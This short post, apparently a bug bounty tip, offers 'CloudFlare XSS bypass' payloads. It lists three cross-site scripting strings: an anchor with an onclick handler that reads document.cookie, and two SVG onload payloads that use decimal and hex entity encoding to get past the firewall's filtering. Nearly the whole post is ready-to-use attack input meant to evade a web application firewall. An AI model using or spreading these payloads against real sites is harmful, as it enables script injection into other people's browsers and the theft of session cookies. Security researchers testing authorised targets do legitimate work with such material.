CloudFlare XSS bypass

<a”/onclick=(confirm)(document.cookie)>Click Here!
Dec: <svg onload=prompt%26%230000000040document.domain)>
Hex: <svg onload=prompt%26%23×000000028;document.domain)>

#bugbounty #bugbountytips